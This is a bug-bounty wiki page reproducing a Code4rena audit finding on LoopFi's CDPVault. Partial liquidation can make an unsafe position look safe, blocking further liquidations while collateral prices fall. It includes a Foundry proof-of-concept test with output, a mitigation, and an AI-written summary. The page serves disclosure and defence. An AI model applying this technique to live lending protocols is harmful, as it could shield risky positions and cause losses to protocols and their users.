Skip to content
Business logic Audit finding Intermediate

Bringing a position from unsafe to safe by liquidation partially

The CDPVault's liquidation mechanism allows partial liquidations to temporarily bring an unsafe position back to a safe state. An attacker could use this to delay full liquidation even as collateral prices continue to fall, increasing risk and potential losses for the protocol.

Evo Follow

Originally disclosed on Code4rena

Submitted by Evo

The CDPVault’s liquidation mechanism allows partial liquidations to temporarily bring unsafe positions back to a safe state. This can delay necessary liquidations if collateral prices continue to fall, potentially leading to increased risk and larger losses for the protocol.

Proof of Concept

The issue arises from liquidatePosition function in the CDPVault contract. An attacker can exploit this to avoid full liquidation even when their position should be unsafe.

Break down the Scenario:

  • Alice creates a position with 100 ether collateral and 60 ether debt.
  • The collateral price drops, making Alice’s position unsafe.
  • Bob performs a partial liquidation on Alice’s position.
  • Alice’s position becomes temporarily safe due to the partial liquidation.
  • The collateral price drops further, but a small liquidation attempt by Carol fails because the position is still considered safe.
  • Only after an even further price drop can the position be liquidated again.

Alice can do the same flow to herself (self liqudation) to protect her position instead of maintaining it by increasing the colleteral, which costs less and goes against how the protocol is intended to work.

At function liquidatePosition:

function liquidatePosition(address owner, uint256 repayAmount) external whenNotPaused {
    // ... (validation and state loading)
    if (_isCollateralized(calcTotalDebt(debtData), wmul(position.collateral, spotPrice_), config.liquidationRatio))
        revert CDPVault__liquidatePosition_notUnsafe();
    // ... (liquidation calculations)
    position = _modifyPosition(owner, position, newDebt, newCumulativeIndex, -toInt256(takeCollateral), totalDebt);
    // ... (state updates and transfers)
}

The issue occurs because after a partial liquidation, the position can become temporarily safe, preventing further immediate liquidations even if the collateral value continues to decrease.

Recommended Mitigation Steps

Flag positions as unsafe when they become unsafe, and revert them to safe status upon additional collateral deposits. However, this approach is suboptimal. A comprehensive reevaluation of the liquidation mechanism is necessary.

Koolex (judge) commented:

PoC confirmed. See here.

For the report in case needed:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;

import {TestBase, ERC20PresetMinterPauser} from "./TestBase.sol";
import {CDPVault} from "../../src/CDPVault.sol";
import {WAD, toInt256, wmul, wdiv} from "../../src/utils/Math.sol";
import {console} from "forge-std/console.sol";
import {StdCheats} from "forge-std/StdCheats.sol";

contract CDPVaultPartialLiquidationTest is TestBase {
    CDPVault internal vault;

    function setUp() public override {
        super.setUp();

        token = new ERC20PresetMinterPauser("Token", "TKN");
        vault = createCDPVault(
            token,
            1_000_000 ether, // debt ceiling
            0,               // debt floor
            1.25 ether,      // liquidation ratio
            1.0 ether,       // liquidationPenalty
            0.95 ether       // liquidationDiscount
        );
        createGaugeAndSetGauge(address(vault));

        // Grant minter role to this contract
        bytes32 minterRole = token.MINTER_ROLE();
        token.grantRole(minterRole, address(this));
        mockWETH.grantRole(minterRole, address(this));

        // Set initial price
        _updateSpot(1 ether);
    }


    function _updateSpot(uint256 price) internal {
        oracle.updateSpot(address(token), price);
    }

    function testUnsafePosition() public {
        // Create a position
        address alice = address(0x1);
        token.mint(alice, 100 ether);
        vm.startPrank(alice);
        token.approve(address(vault), 100 ether);
        vault.modifyCollateralAndDebt(alice, alice, alice, toInt256(100 ether), toInt256(60 ether));
        vm.stopPrank();

        // Record initial state
        (uint256 initialCollateral, uint256 initialDebt,,,,) = vault.positions(alice);
        console.log("Initial Collateral:", initialCollateral);
        console.log("Initial Debt:", initialDebt);
        console.log("Initial Price:", vault.spotPrice());

        // Drop price to make position unsafe
        _updateSpot(0.7 ether);
        console.log("New Price:", vault.spotPrice());

        // Partial liquidation
        address bob = address(0x2);
        mockWETH.mint(bob, 30 ether);
        vm.startPrank(bob);
        mockWETH.approve(address(vault), 30 ether);
        // console.log("Start liquidatePosition");
        vault.liquidatePosition(alice, 30 ether);
        vm.stopPrank();
        console.log("Partial Liquidation succeed");

        // Log state after partial liquidation
        (uint256 collateralAfterPartial, uint256 debtAfterPartial,,,,) = vault.positions(alice);
        console.log("Collateral after partial liquidation:", collateralAfterPartial);
        console.log("Debt after partial liquidation:", debtAfterPartial);

        // Try to liquidate again (should fail as position is now safe)
        address charlie = address(0x3);
        mockWETH.mint(charlie, 1 ether);
        vm.startPrank(charlie);
        mockWETH.approve(address(vault), 1 ether);
        vm.expectRevert(CDPVault.CDPVault__liquidatePosition_notUnsafe.selector);
        vault.liquidatePosition(alice, 1 ether);
        vm.stopPrank();
        console.log("Partial Liquidation failed");


        // Verify final state
        (uint256 finalCollateral, uint256 finalDebt,,,,) = vault.positions(alice);
        console.log("Final Collateral:", finalCollateral);
        console.log("Final Debt:", finalDebt);

    }



}

Output:

  Initial Collateral: 100000000000000000000
  Initial Debt: 60000000000000000000
  Initial Price: 1000000000000000000
  New Price: 700000000000000000
  Partial Liquidation succeed
  Collateral after partial liquidation: 54887218045112781955
  Debt after partial liquidation: 30000000000000000000
  Partial Liquidation failed
  Final Collateral: 54887218045112781955
  Final Debt: 30000000000000000000

The original report as published on Code4rena, by Evo. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the liquidation check only compares the current collateral-to-debt ratio after a partial liquidation, without considering that the position may still be at risk if prices continue to fall.

Impact

This could delay necessary liquidations, potentially leading to increased risk and larger losses for the protocol.

What the attacker needed

A position that becomes unsafe; ability to perform partial liquidation

The fix

The liquidation mechanism should be comprehensively reevaluated, possibly by flagging positions as unsafe when they become unsafe and reverting them to safe only upon additional collateral deposits.

How it was found

  1. Alice creates a position with 100 ether collateral and 60 ether debt.
  2. The collateral price drops, making Alice’s position unsafe.
  3. Bob performs a partial liquidation on Alice’s position.
  4. Alice’s position becomes temporarily safe due to the partial liquidation.
  5. The collateral price drops further, but a small liquidation attempt by Carol fails because the position is still considered safe.
  6. Only after an even further price drop can the position be liquidated again.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

In a lending protocol, a position becomes unsafe when the borrowed amount is too high compared to the collateral. Normally, anyone can liquidate (repay part of the debt and seize collateral) to make it safe again. This report shows that a partial liquidation can make the position appear safe even though the collateral value is still falling, so further liquidations are blocked until the price drops even more.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by Evo

View all

7 more disclosed reports, best first.

More from LoopFi

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.